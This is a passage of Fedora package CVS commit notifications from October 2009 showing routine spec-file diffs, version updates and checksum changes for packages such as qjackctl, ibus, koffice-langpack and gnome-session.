Update of /cvs/pkgs/rpms/pure/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17931

Modified Files:
	pure.spec 
Log Message:
Make -doc and emacs mode noarch



Index: pure.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pure/devel/pure.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- pure.spec	24 Oct 2009 03:02:16 -0000	1.2
+++ pure.spec	24 Oct 2009 03:06:58 -0000	1.3
@@ -53,6 +53,7 @@ developing applications that use %{name}
 Summary:        Examples for %{name}
 Group:          Documentation
 Requires:       %{name} = %{version}-%{release}
+BuildArch:      noarch
 
 %description    doc
 The %{name}-doc package contains examples for programming in %{name}.
@@ -61,7 +62,7 @@ The %{name}-doc package contains example
 Summary:        Vala mode for Emacs
 Group:          Applications/Editors
 Requires:       emacs(bin) >= %{emacs_version}
-
+BuildArch:      noarch
 
 %description -n emacs-pure
 An Emacs mode for editing Pure source code.



From oget at fedoraproject.org  Sat Oct 24 03:17:42 2009
From: oget at fedoraproject.org (Orcan Ogetbil)
Date: Sat, 24 Oct 2009 03:17:42 +0000 (UTC)
Subject: rpms/qjackctl/devel .cvsignore, 1.5, 1.6 qjackctl.spec, 1.15,
	1.16 sources, 1.6, 1.7 qjackctl-0.3.3-qt45.patch, 1.1,
	NONE qjackctl.desktop, 1.1, NONE
Message-ID: <20091024031742.C3D4211C00E6@cvs1.fedora.phx.redhat.com>

Author: oget

Update of /cvs/pkgs/rpms/qjackctl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19921

Modified Files:
	.cvsignore qjackctl.spec sources 
Removed Files:
	qjackctl-0.3.3-qt45.patch qjackctl.desktop 
Log Message:
* Fri Oct 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.5-1
- Update to 0.3.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	18 Apr 2009 02:32:04 -0000	1.5
+++ .cvsignore	24 Oct 2009 03:17:40 -0000	1.6
@@ -1 +1 @@
-qjackctl-0.3.4.tar.gz
+qjackctl-0.3.5.tar.gz


Index: qjackctl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/devel/qjackctl.spec,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- qjackctl.spec	27 Jul 2009 02:26:43 -0000	1.15
+++ qjackctl.spec	24 Oct 2009 03:17:41 -0000	1.16
@@ -2,13 +2,10 @@
 
 Summary:       Qt based JACK control application
 Name:          qjackctl
-Version:       0.3.4
-Release:       2%{?dist}
+Version:       0.3.5
+Release:       1%{?dist}
 URL:           http://qjackctl.sourceforge.net
 Source0:       http://dl.sf.net/sourceforge/qjackctl/qjackctl-%{version}.tar.gz
-Source1:       qjackctl.desktop
-# Fix close button not shown with Qt 4.5 (#494471)
-Patch0:        qjackctl-0.3.3-qt45.patch
 # We don't want .qm files in the default locale dir
 Patch1:        qjackctl-fix-locale-path.patch
 License:       GPLv2+
@@ -30,9 +27,11 @@ patchbay and connection control features
 
 %prep
 %setup -q
-%patch0 -p1 -b .qt45
 %patch1 -p1 -b .localedir
 
+# Remove absolute paths:
+sed -i 's|@ac_prefix at .*|qjackctl|' qjackctl.desktop.in
+
 %build
 QT4DIR=%{_qt4_libdir} QMAKE=%{_qt4_qmake} %configure --with-qt=%{_qt4_prefix}
 %{__make} %{?_smp_mflags}
@@ -49,14 +48,15 @@ QT4DIR=%{_qt4_libdir} QMAKE=%{_qt4_qmake
 %{__rm} %{buildroot}%{_datadir}/applications/qjackctl.desktop
 
 # desktop file categories
-BASE="X-Fedora Application AudioVideo"
 XTRA="X-Jack"
-
+RMCAT="MIDI JACK ALSA"
 %{__mkdir} -p %{buildroot}%{_datadir}/applications
+
 desktop-file-install --vendor %{desktop_vendor} \
   --dir %{buildroot}%{_datadir}/applications \
-  `for c in ${BASE} ${XTRA} ; do echo "--add-category $c " ; done` \
-  %{SOURCE1}
+  `for c in ${XTRA} ; do echo "--add-category $c " ; done` \
+  `for c in ${RMCAT} ; do echo "--remove-category $c " ; done` \
+  qjackctl.desktop
 
 # Create the lang file. %%find_lang does not handle .qm files
 for file in %{buildroot}%{_datadir}/qjackctl/locale/*.qm; do
@@ -89,6 +89,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/applications/%{desktop_vendor}-qjackctl.desktop
 
 %changelog
+* Fri Oct 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> 0.3.5-1
+- Update to 0.3.5
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3.4-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qjackctl/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	18 Apr 2009 02:32:04 -0000	1.6
+++ sources	24 Oct 2009 03:17:41 -0000	1.7
@@ -1 +1 @@
-65736e83650468256ba22aa5d35fd0cb  qjackctl-0.3.4.tar.gz
+08792978e822509209728b02d071a757  qjackctl-0.3.5.tar.gz


--- qjackctl-0.3.3-qt45.patch DELETED ---


--- qjackctl.desktop DELETED ---



From mclasen at fedoraproject.org  Sat Oct 24 03:21:31 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 24 Oct 2009 03:21:31 +0000 (UTC)
Subject: rpms/gnome-utils/F-12 spinner.patch, NONE, 1.1 gnome-utils.spec,
	1.205, 1.206
Message-ID: <20091024032131.167E111C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21284

Modified Files:
	gnome-utils.spec 
Added Files:
	spinner.patch 
Log Message:
fix the gsearchtool spinner


spinner.patch:
 gsearchtool-spinner.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE spinner.patch ---
diff -up gnome-utils-2.28.1/gsearchtool/gsearchtool-spinner.c.spinnger gnome-utils-2.28.1/gsearchtool/gsearchtool-spinner.c
--- gnome-utils-2.28.1/gsearchtool/gsearchtool-spinner.c.spinnger	2009-10-23 23:17:47.027129886 -0400
+++ gnome-utils-2.28.1/gsearchtool/gsearchtool-spinner.c	2009-10-23 23:17:59.375132425 -0400
@@ -194,7 +194,7 @@ gsearch_spinner_cache_data_load (GSearch
 
 	/* Load the animation */
 	icon_info = gtk_icon_theme_lookup_icon (data->icon_theme,
-						"process-working", -1, 0);
+						"process-working", 16, 0);
 	if (icon_info == NULL)
 	{
 		g_warning ("Throbber animation not found\n");


Index: gnome-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-utils/F-12/gnome-utils.spec,v
retrieving revision 1.205
retrieving revision 1.206
diff -u -p -r1.205 -r1.206
--- gnome-utils.spec	24 Oct 2009 02:26:19 -0000	1.205
+++ gnome-utils.spec	24 Oct 2009 03:21:30 -0000	1.206
@@ -9,7 +9,7 @@
 
 Name:           gnome-utils
 Version:        2.28.1
-Release:        1%{?dist}
+Release:        2%{?dist}
 Epoch: 		1
 Summary:        GNOME utility programs
 
@@ -312,6 +312,9 @@ fi
 %{_mandir}/man1/gnome-system-log.1.gz
 
 %changelog
+* Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.1-2
+- Fix the gsearchtool spinner
+
 * Fri Oct 23 2009 Matthias Clasen <mclasen at redhat.com> - 1:2.28.1-1
 - Update to 2.28.1
 



From rdieter at fedoraproject.org  Sat Oct 24 03:25:58 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 24 Oct 2009 03:25:58 +0000 (UTC)
Subject: rpms/koffice-langpack/devel .cvsignore, 1.21,
	1.22 koffice-langpack.spec, 1.30, 1.31 sources, 1.22, 1.23
Message-ID: <20091024032559.0F9AA11C00E6@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/koffice-langpack/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22090

Modified Files:
	.cvsignore koffice-langpack.spec sources 
Log Message:
* Fri Oct 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.91-1
- koffice-l10n-2.0.91



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/koffice-langpack/devel/.cvsignore,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- .cvsignore	4 Oct 2009 02:54:34 -0000	1.21
+++ .cvsignore	24 Oct 2009 03:25:57 -0000	1.22
@@ -1,26 +1,26 @@
-koffice-l10n-ca-2.0.83.tar.bz2
-koffice-l10n-da-2.0.83.tar.bz2
-koffice-l10n-de-2.0.83.tar.bz2
-koffice-l10n-el-2.0.83.tar.bz2
-koffice-l10n-en_GB-2.0.83.tar.bz2
-koffice-l10n-es-2.0.83.tar.bz2
-koffice-l10n-et-2.0.83.tar.bz2
-koffice-l10n-fr-2.0.83.tar.bz2
-koffice-l10n-fy-2.0.83.tar.bz2
-koffice-l10n-gl-2.0.83.tar.bz2
-koffice-l10n-hne-2.0.83.tar.bz2
-koffice-l10n-it-2.0.83.tar.bz2
-koffice-l10n-ja-2.0.83.tar.bz2
-koffice-l10n-kk-2.0.83.tar.bz2
-koffice-l10n-nb-2.0.83.tar.bz2
-koffice-l10n-nds-2.0.83.tar.bz2
-koffice-l10n-nl-2.0.83.tar.bz2
-koffice-l10n-pl-2.0.83.tar.bz2
-koffice-l10n-pt-2.0.83.tar.bz2
-koffice-l10n-pt_BR-2.0.83.tar.bz2
-koffice-l10n-sv-2.0.83.tar.bz2
-koffice-l10n-tr-2.0.83.tar.bz2
-koffice-l10n-uk-2.0.83.tar.bz2
-koffice-l10n-wa-2.0.83.tar.bz2
-koffice-l10n-zh_CN-2.0.83.tar.bz2
-koffice-l10n-zh_TW-2.0.83.tar.bz2
+koffice-l10n-ca-2.0.91.tar.bz2
+koffice-l10n-da-2.0.91.tar.bz2
+koffice-l10n-de-2.0.91.tar.bz2
+koffice-l10n-el-2.0.91.tar.bz2
+koffice-l10n-en_GB-2.0.91.tar.bz2
+koffice-l10n-es-2.0.91.tar.bz2
+koffice-l10n-et-2.0.91.tar.bz2
+koffice-l10n-fr-2.0.91.tar.bz2
+koffice-l10n-fy-2.0.91.tar.bz2
+koffice-l10n-gl-2.0.91.tar.bz2
+koffice-l10n-hne-2.0.91.tar.bz2
+koffice-l10n-it-2.0.91.tar.bz2
+koffice-l10n-ja-2.0.91.tar.bz2
+koffice-l10n-kk-2.0.91.tar.bz2
+koffice-l10n-nb-2.0.91.tar.bz2
+koffice-l10n-nds-2.0.91.tar.bz2
+koffice-l10n-nl-2.0.91.tar.bz2
+koffice-l10n-pl-2.0.91.tar.bz2
+koffice-l10n-pt-2.0.91.tar.bz2
+koffice-l10n-pt_BR-2.0.91.tar.bz2
+koffice-l10n-sv-2.0.91.tar.bz2
+koffice-l10n-tr-2.0.91.tar.bz2
+koffice-l10n-uk-2.0.91.tar.bz2
+koffice-l10n-wa-2.0.91.tar.bz2
+koffice-l10n-zh_CN-2.0.91.tar.bz2
+koffice-l10n-zh_TW-2.0.91.tar.bz2


Index: koffice-langpack.spec
===================================================================
RCS file: /cvs/pkgs/rpms/koffice-langpack/devel/koffice-langpack.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- koffice-langpack.spec	4 Oct 2009 05:03:30 -0000	1.30
+++ koffice-langpack.spec	24 Oct 2009 03:25:58 -0000	1.31
@@ -3,7 +3,7 @@
 
 Name:           koffice-langpack
 Epoch:          1
-Version:        2.0.83
+Version:        2.0.91
 Release:        2%{?dist}
 Summary:        Language files for koffice
 
@@ -767,6 +767,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Fri Oct 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.91-1
+- koffice-l10n-2.0.91
+
 * Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 1:2.0.83-2
 - main virtual subpkg
 - fix a fix missing %%defattr's


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/koffice-langpack/devel/sources,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sources	4 Oct 2009 02:54:34 -0000	1.22
+++ sources	24 Oct 2009 03:25:58 -0000	1.23
@@ -1,26 +1,26 @@
-fce8195883ea21bae8fd878dc6eb2ea3  koffice-l10n-ca-2.0.83.tar.bz2
-50f19986f50c37096223b4285bb6b3aa  koffice-l10n-da-2.0.83.tar.bz2
-414d4860d853e6694b1c6c99429b0d28  koffice-l10n-de-2.0.83.tar.bz2
-4d13ace13d64deb306a37206546bd7ba  koffice-l10n-el-2.0.83.tar.bz2
-dcfd3aec897f42f64cd79e3fe5a04863  koffice-l10n-en_GB-2.0.83.tar.bz2
-d61a6c232a1d666f645482410f27ab5d  koffice-l10n-es-2.0.83.tar.bz2
-1bd7efd09e0a70f653732dfc32b395af  koffice-l10n-et-2.0.83.tar.bz2
-0907890519c109a44d998c635d809924  koffice-l10n-fr-2.0.83.tar.bz2
-39495786d1d903acf34fa23717d0c6d1  koffice-l10n-fy-2.0.83.tar.bz2
-bd041987c56dbffe0ca82d076230c3f6  koffice-l10n-gl-2.0.83.tar.bz2
-7b9e589ce836e48c087496def7e62131  koffice-l10n-hne-2.0.83.tar.bz2
-52b643c96bbe2a5451f7ea9b224e20ce  koffice-l10n-it-2.0.83.tar.bz2
-0d3957a122cfd86a8436f3d7af60dfc2  koffice-l10n-ja-2.0.83.tar.bz2
-61520075da873414ed350b7b22b1db98  koffice-l10n-kk-2.0.83.tar.bz2
-db253685af3e49453099a52be16857de  koffice-l10n-nb-2.0.83.tar.bz2
-773ab8ee18dd756459986c2b7ea69687  koffice-l10n-nds-2.0.83.tar.bz2
-4ea27a967102b755c6c6d5aebc6afc32  koffice-l10n-nl-2.0.83.tar.bz2
-674c0927f2332b83b396ad734c219e74  koffice-l10n-pl-2.0.83.tar.bz2
-1dc976e0defb4a1a5ee47c1a987f7ee2  koffice-l10n-pt-2.0.83.tar.bz2
-57fb55aabaf23a0a1b6e9a413920346c  koffice-l10n-pt_BR-2.0.83.tar.bz2
-240f155ee672db5bb6f5267e4eb52fd9  koffice-l10n-sv-2.0.83.tar.bz2
-783b74fccebf8f36378b8d248c0ab15c  koffice-l10n-tr-2.0.83.tar.bz2
-096172f012cb659354388249593d4c57  koffice-l10n-uk-2.0.83.tar.bz2
-535108b126dcd3f72d0ecb6e9c01a4f2  koffice-l10n-wa-2.0.83.tar.bz2
-be51ced4103d44d3c8e806fb5f8a4f75  koffice-l10n-zh_CN-2.0.83.tar.bz2
-f6afffa5e0fdb0ebfebdaf58a8063a71  koffice-l10n-zh_TW-2.0.83.tar.bz2
+27d2e6a287858475a32da5f5a558f149  koffice-l10n-ca-2.0.91.tar.bz2
+f225767355578c8d9ce9c6469f3c975e  koffice-l10n-da-2.0.91.tar.bz2
+bbdac24ea4d5515369f4f3692d7f19ff  koffice-l10n-de-2.0.91.tar.bz2
+cccaae4c735d6cf87fa7047c76ac8f1d  koffice-l10n-el-2.0.91.tar.bz2
+ef594f79682566fb1627c50a85ff08ef  koffice-l10n-en_GB-2.0.91.tar.bz2
+db60ee76487f04524675491d28cc718d  koffice-l10n-es-2.0.91.tar.bz2
+16cfed3d85d195e1351fccfaa0210c87  koffice-l10n-et-2.0.91.tar.bz2
+e91cb26bf357b6197a6675796fa05cbf  koffice-l10n-fr-2.0.91.tar.bz2
+d8a42d3276e9244e4c66bfbdd453427a  koffice-l10n-fy-2.0.91.tar.bz2
+db25319f51a0c21cf01085f31a55182e  koffice-l10n-gl-2.0.91.tar.bz2
+e56e712f46d06bf712cc7b56686099c2  koffice-l10n-hne-2.0.91.tar.bz2
+dbcb92cd20ea61bf9d141663083be817  koffice-l10n-it-2.0.91.tar.bz2
+c939e7c01586e055ba7be511def8459f  koffice-l10n-ja-2.0.91.tar.bz2
+7cab494a94a7fcbc8736af8549568640  koffice-l10n-kk-2.0.91.tar.bz2
+10852cd32a07c02cafdd36deb86fea55  koffice-l10n-nb-2.0.91.tar.bz2
+3b420ef301cd93c4c5129ed56772667a  koffice-l10n-nds-2.0.91.tar.bz2
+9fea0dee2f4cb5eec37428e234f92567  koffice-l10n-nl-2.0.91.tar.bz2
+f374249621e8ed88d2924de3a0a8b3a0  koffice-l10n-pl-2.0.91.tar.bz2
+eceeff8e6f65274565e596d2638ea5d6  koffice-l10n-pt-2.0.91.tar.bz2
+01da545acb618b7e3113c25bb1ed8c7b  koffice-l10n-pt_BR-2.0.91.tar.bz2
+ebe1af4a6b3803c5c2e802e0f80c2a66  koffice-l10n-sv-2.0.91.tar.bz2
+feb14da7d2473543eda95ce2116c8718  koffice-l10n-tr-2.0.91.tar.bz2
+14bd472c9a5f79574a18a1f983ab2ae2  koffice-l10n-uk-2.0.91.tar.bz2
+644664fdc08e510bcb1b4390cf2214de  koffice-l10n-wa-2.0.91.tar.bz2
+b3aa357e724053506a43df36489fd056  koffice-l10n-zh_CN-2.0.91.tar.bz2
+f905be88dd4fd773635a3b9826df2308  koffice-l10n-zh_TW-2.0.91.tar.bz2



From mclasen at fedoraproject.org  Sat Oct 24 03:41:53 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 24 Oct 2009 03:41:53 +0000 (UTC)
Subject: rpms/gnome-session/F-12 gnome-session.spec,1.252,1.253
Message-ID: <20091024034153.EE76E11C00E6@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gnome-session/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24804

Modified Files:
	gnome-session.spec 
Log Message:
fix a possible crash



Index: gnome-session.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-session/F-12/gnome-session.spec,v
retrieving revision 1.252
retrieving revision 1.253
diff -u -p -r1.252 -r1.253
--- gnome-session.spec	24 Sep 2009 00:55:22 -0000	1.252
+++ gnome-session.spec	24 Oct 2009 03:41:46 -0000	1.253
@@ -10,7 +10,7 @@
 Summary: GNOME session manager
 Name: gnome-session
 Version: 2.28.0
-Release: 1%{?dist}
+Release: 2%{?dist}
 URL: http://www.gnome.org
 Source0: http://download.gnome.org/sources/gnome-session/2.28/%{name}-%{version}.tar.bz2
 Source2: gnome.desktop
@@ -67,6 +67,12 @@ Requires(pre): GConf2 >= %{gconf2_versio
 Requires(post): GConf2 >= %{gconf2_version}
 Requires(preun): GConf2 >= %{gconf2_version}
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=592520
+#Patch0: unresponsive-timeout.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=592519
+#Patch1: show-lock.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=598211
+Patch2: xsmp-stop.patch
 
 %description
 gnome-session manages a GNOME desktop or GDM login session. It starts up
@@ -82,6 +88,9 @@ Desktop file to add GNOME to display man
 
 %prep
 %setup -q
+#%patch0 -p1 -b .unresponsive-timeout
+#%patch1 -p1 -b .show-lock
+%patch2 -p1 -b .xsmp-stop
 
 echo "ACLOCAL_AMFLAGS = -I m4" >> Makefile.am
 
@@ -169,6 +178,9 @@ fi
 
 
 %changelog
+* Fri Oct 23 2009 Matthias Clasen  <mclasen at redhat.com> - 2.28.0-2
+- Avoid a crash on certain xsmp error conditions
+
 * Wed Sep 23 2009 Matthias Clasen  <mclasen at redhat.com> - 2.28.0-1
 - Update to 2.28.0
 



From phuang at fedoraproject.org  Sat Oct 24 03:44:20 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Sat, 24 Oct 2009 03:44:20 +0000 (UTC)
Subject: rpms/ibus/F-12 .cvsignore, 1.45, 1.46 ibus.spec, 1.94, 1.95 sources,
	1.52, 1.53
Message-ID: <20091024034420.AF23A11C00E6@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26209

Modified Files:
	.cvsignore ibus.spec sources 
Log Message:
Update to 1.2.0.20091024


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/.cvsignore,v
retrieving revision 1.45
retrieving revision 1.46
diff -u -p -r1.45 -r1.46
--- .cvsignore	14 Oct 2009 01:40:03 -0000	1.45
+++ .cvsignore	24 Oct 2009 03:44:20 -0000	1.46
@@ -1 +1 @@
-ibus-1.2.0.20091014.tar.gz
+ibus-1.2.0.20091024.tar.gz


Index: ibus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/ibus.spec,v
retrieving revision 1.94
retrieving revision 1.95
diff -u -p -r1.94 -r1.95
--- ibus.spec	14 Oct 2009 03:09:54 -0000	1.94
+++ ibus.spec	24 Oct 2009 03:44:20 -0000	1.95
@@ -7,8 +7,8 @@
 %define im_chooser_version 1.2.5
 
 Name:       ibus
-Version:    1.2.0.20091014
-Release:    2%{?dist}
+Version:    1.2.0.20091024
+Release:    1%{?dist}
 Summary:    Intelligent Input Bus for Linux OS
 License:    LGPLv2+
 Group:      System Environment/Libraries
@@ -223,6 +223,9 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Sat Oct 24 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.2001024-1
+- Update to 1.2.0.20091024
+
 * Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.2001014-2
 - Update to 1.2.0.20091014
 - Change ICON in ibus.conf 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/sources,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- sources	14 Oct 2009 03:09:54 -0000	1.52
+++ sources	24 Oct 2009 03:44:20 -0000	1.53
@@ -1 +1 @@
-e0525eb65d9a5a34571ac804c595ad24  ibus-1.2.0.20091014.tar.gz
+2133a37805abff86f6aa160f08dcd4f4  ibus-1.2.0.20091024.tar.gz



From phuang at fedoraproject.org  Sat Oct 24 03:46:03 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Sat, 24 Oct 2009 03:46:03 +0000 (UTC)
Subject: rpms/ibus/devel .cvsignore, 1.44, 1.45 ibus.spec, 1.92, 1.93 sources,
	1.50, 1.51 xinput-ibus, 1.7, 1.8
Message-ID: <20091024034603.28FD511C00E6@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26687

Modified Files:
	.cvsignore ibus.spec sources xinput-ibus 
Log Message:
Update to 1.2.0.20091024


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/devel/.cvsignore,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- .cvsignore	27 Sep 2009 07:14:13 -0000	1.44
+++ .cvsignore	24 Oct 2009 03:46:02 -0000	1.45
@@ -1 +1 @@
-ibus-1.2.0.20090927.tar.gz
+ibus-1.2.0.20091024.tar.gz


Index: ibus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/devel/ibus.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- ibus.spec	27 Sep 2009 07:14:13 -0000	1.92
+++ ibus.spec	24 Oct 2009 03:46:02 -0000	1.93
@@ -7,7 +7,7 @@
 %define im_chooser_version 1.2.5
 
 Name:       ibus
-Version:    1.2.0.20090927
+Version:    1.2.0.20091024
 Release:    1%{?dist}
 Summary:    Intelligent Input Bus for Linux OS
 License:    LGPLv2+
@@ -33,7 +33,6 @@ BuildRequires:  gtk-doc
 BuildRequires:  GConf2-devel
 BuildRequires:  pygobject2-devel
 BuildRequires:  intltool
-# BuildRequires:  qt-devel
 
 Requires:   %{name}-libs = %{version}-%{release}
 Requires:   %{name}-gtk = %{version}-%{release}
@@ -83,15 +82,6 @@ Requires(post): glib2 >= %{glib_ver}
 %description gtk
 This package contains ibus im module for gtk2
 
-# %package qt
-# Summary:    IBus im module for qt4
-# Group:      System Environment/Libraries
-# Requires:   %{name} = %{version}-%{release}
-# Requires:   qt >= 4.4.2
-# 
-# %description qt
-# This package contains ibus im module for qt4
-
 %package devel
 Summary:    Development tools for ibus
 Group:      Development/Libraries
@@ -203,8 +193,7 @@ fi
 %{_bindir}/ibus-setup
 %{_datadir}/ibus/*
 %{_datadir}/applications/*
-%{_datadir}/pixmaps/*
-%{_datadir}/icons/hicolor/*/status/*
+%{_datadir}/icons/hicolor/*/apps/*
 %{_libexecdir}/ibus-gconf
 %{_libexecdir}/ibus-ui-gtk
 %{_libexecdir}/ibus-x11
@@ -234,6 +223,13 @@ fi
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Sat Oct 24 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.2001024-1
+- Update to 1.2.0.20091024
+
+* Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.2001014-2
+- Update to 1.2.0.20091014
+- Change ICON in ibus.conf 
+
 * Mon Sep 27 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090927-1
 - Update to 1.2.0.20090927
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/devel/sources,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- sources	27 Sep 2009 07:14:13 -0000	1.50
+++ sources	24 Oct 2009 03:46:02 -0000	1.51
@@ -1 +1 @@
-300bf18ac0a4d3f1364412a52c9e9746  ibus-1.2.0.20090927.tar.gz
+2133a37805abff86f6aa160f08dcd4f4  ibus-1.2.0.20091024.tar.gz


Index: xinput-ibus
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/devel/xinput-ibus,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- xinput-ibus	30 Aug 2009 22:59:56 -0000	1.7
+++ xinput-ibus	24 Oct 2009 03:46:02 -0000	1.8
@@ -1,6 +1,6 @@
 XIM=ibus
 XIM_PROGRAM="/usr/bin/ibus-daemon"
-ICON="/usr/share/pixmaps/ibus.svg"
+ICON="/usr/share/icons/hicolor/scalable/apps/ibus.svg"
 XIM_ARGS="--xim"
 PREFERENCE_PROGRAM=/usr/bin/ibus-setup
 SHORT_DESC="IBus"



From phuang at fedoraproject.org  Sat Oct 24 03:48:04 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Sat, 24 Oct 2009 03:48:04 +0000 (UTC)
Subject: rpms/ibus-qt/devel .cvsignore, 1.4, 1.5 ibus-qt.spec, 1.7,
	1.8 sources, 1.5, 1.6
Message-ID: <20091024034804.D068011C00E6@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus-qt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27244

Modified Files:
	.cvsignore ibus-qt.spec sources 
Log Message:
Update to 1.2.0.20091014


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-qt/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Aug 2009 05:09:22 -0000	1.4
+++ .cvsignore	24 Oct 2009 03:48:04 -0000	1.5
@@ -1 +1 @@
-ibus-qt-1.2.0.20090822-Source.tar.gz
+ibus-qt-1.2.0.20091014-Source.tar.gz


Index: ibus-qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-qt/devel/ibus-qt.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- ibus-qt.spec	22 Aug 2009 09:49:33 -0000	1.7
+++ ibus-qt.spec	24 Oct 2009 03:48:04 -0000	1.8
@@ -1,6 +1,6 @@
 Name:       ibus-qt
-Version:    1.2.0.20090822
-Release:    2%{?dist}
+Version:    1.2.0.20091014
+Release:    1%{?dist}
 Summary:    Qt IBus library and Qt input method plugin
 License:    GPLv2+
 Group:      System Environment/Libraries
@@ -14,7 +14,7 @@ BuildRequires:  qt-devel >= 4.5
 BuildRequires:  dbus-devel >= 1.2
 BuildRequires:  ibus-devel >= 1.2
 BuildRequires:  libicu-devel >= 4.0
-Requires:   ibus >= 1.2
+Requires:   ibus >= 1.2.0.20091014
 
 %description
 Qt IBus library and Qt input method plugin.
@@ -65,6 +65,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/libibus-qt.so
 
 %changelog
+* Wed Oct 14 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20091014-1
+- Update to 1.2.0.20091014.
+
 * Sat Aug 22 2009 Peng Huang <shawn.p.huang at gmail.com> - 1.2.0.20090822-2
 - Update the tarball
 - Link qt immodule with libicu


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-qt/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	22 Aug 2009 09:49:33 -0000	1.5
+++ sources	24 Oct 2009 03:48:04 -0000	1.6
@@ -1 +1 @@
-15ec039e2a2f92a6c9075b6c10a2dc57  ibus-qt-1.2.0.20090822-Source.tar.gz
+781d3bb431452b6d019a2c1983010bb7  ibus-qt-1.2.0.20091014-Source.tar.gz



From mclasen at fedoraproject.org  Sat Oct 24 03:51:03 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Sat, 24 Oct 2009 03:51:03 +0000 (UTC)
